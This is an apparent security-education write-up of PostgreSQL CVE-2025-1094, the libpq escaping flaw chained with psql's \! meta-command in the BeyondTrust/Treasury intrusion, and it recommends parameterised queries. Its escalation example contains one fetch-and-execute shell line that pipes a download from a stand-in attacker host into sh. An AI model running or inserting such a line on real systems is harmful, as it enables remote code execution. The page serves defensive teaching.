flawopen.com/Incidents/PostgreSQL CVE-2025-1094

CVE-2025-1094: when the escaping function itself was the vulnerability

High Severity CWE-89: SQL Injection Disclosed February 2025
ELI5

Imagine a translator whose job is to wrap anything you say in quotation marks so it can never be mistaken for a command. You discover that if you hand them a word in an alphabet they don't recognise, they get confused mid-sentence and drop one of the quotation marks. Now the thing you said escapes its quotes and gets read as an instruction — even though the translator was working exactly as designed for every input anyone had thought to test.

Key terms on this page
escaping / quoting function
A library routine that makes untrusted text safe to embed in a SQL string by neutralising quote characters. PQescapeLiteral() and friends in libpq do this job.
psql meta-command
A backslash instruction interpreted by the psql client itself rather than sent to the server. \! executes a shell command on the machine running psql.
vulnerability chain
Two or more flaws used in sequence, where each one supplies a precondition the next one needs. Neither alone reaches the final objective.

What happened

In December 2024, attackers compromised BeyondTrust's Remote Support SaaS product. BeyondTrust is a privileged access management vendor, so its remote support tooling sits in an unusually powerful position inside customer environments. The intrusion reached a number of downstream enterprise customers, and among the affected organisations was the US Department of the Treasury, where attackers accessed employee workstations and unclassified documents. Treasury attributed the activity to a China state-sponsored actor.

The initially disclosed flaw was CVE-2024-12356, a command injection issue in BeyondTrust Remote Support and Privileged Remote Access. But when Rapid7's research team reconstructed a working exploit, they found something notable: CVE-2024-12356 was not sufficient on its own. Reaching remote code execution also required exploiting a previously unknown flaw in PostgreSQL itself — assigned CVE-2025-1094 and patched in February 2025.

Timeline
December 2024
BeyondTrust identifies a security incident affecting its Remote Support SaaS platform; a limited number of customers are notified.
December 2024
The US Treasury is notified that attackers used a stolen key to access workstations and unclassified documents.
December 2024
CVE-2024-12356 is published; CISA subsequently adds it to the Known Exploited Vulnerabilities catalog.
13 February 2025
The PostgreSQL project discloses CVE-2025-1094, credited to Stephen Fewer of Rapid7, and ships fixes in 17.3, 16.7, 15.11, 14.16 and 13.19.

The technical root cause

PostgreSQL's client library, libpq, provides quoting functions — PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() and PQescapeStringConn() — whose entire purpose is to make untrusted input safe to interpolate into SQL. The flaw was in how these functions handled invalid byte sequences in multi-byte encodings such as UTF-8.

The invalid-byte trick

When the escaping routine encountered a malformed multi-byte character, it mis-measured where that character ended. An attacker could craft input where an invalid leading byte "swallowed" the backslash or quote that the escaper had just emitted to neutralise the following character — leaving a quote character live in the output. The value then broke out of its string literal and the remainder was parsed as SQL.

This is what makes the bug unusual and worth studying. The application code was doing the recommended thing. It called the official escaping function. The defence that every SQL injection guide tells you to use was itself the vulnerable component.

From SQL injection to shell access

The second half of the chain is specific to psql, PostgreSQL's interactive terminal client. psql interprets lines beginning with a backslash as meta-commands that it executes locally rather than sending to the database server. One of them, \!, runs an arbitrary shell command.

So when untrusted input is fed through psql and the attacker can inject a newline followed by a meta-command, the impact escalates past the database entirely:

THE ESCALATION
# Injected payload contains a newline
# followed by a psql meta-command.
# psql interprets it locally:

\! /bin/sh -c 'curl attacker/x | sh'

# This never reaches the SQL parser.
# It runs as a shell command on the
# host running psql.
THE STRUCTURAL FIX
# Never build SQL by escaping strings.
# Send values out-of-band as parameters,
# so no quoting decision is ever made.

PQexecParams(conn,
  "SELECT * FROM users WHERE name = $1",
  1, NULL, values, NULL, NULL, 0);

# And never pipe untrusted input
# through the psql CLI at all.

The lessons that actually transfer

FAQ

Does this mean escaping functions can't be trusted?

It means they are ordinary software with ordinary bugs, and that relying on them puts a correctness burden in a place where a single mistake is exploitable. Parameterised queries avoid the burden entirely, which is why they remain the primary recommendation.

Was my application vulnerable if I use an ORM?

Most ORMs and modern drivers use the extended query protocol with bound parameters rather than libpq's escaping helpers, which sidesteps the flaw. The exposure was concentrated in code that explicitly called the escape functions or shelled out to psql. Patching the client library is still the correct action.

Which versions fixed it?

PostgreSQL 17.3, 16.7, 15.11, 14.16 and 13.19, released on 13 February 2025.

Related reading

Sources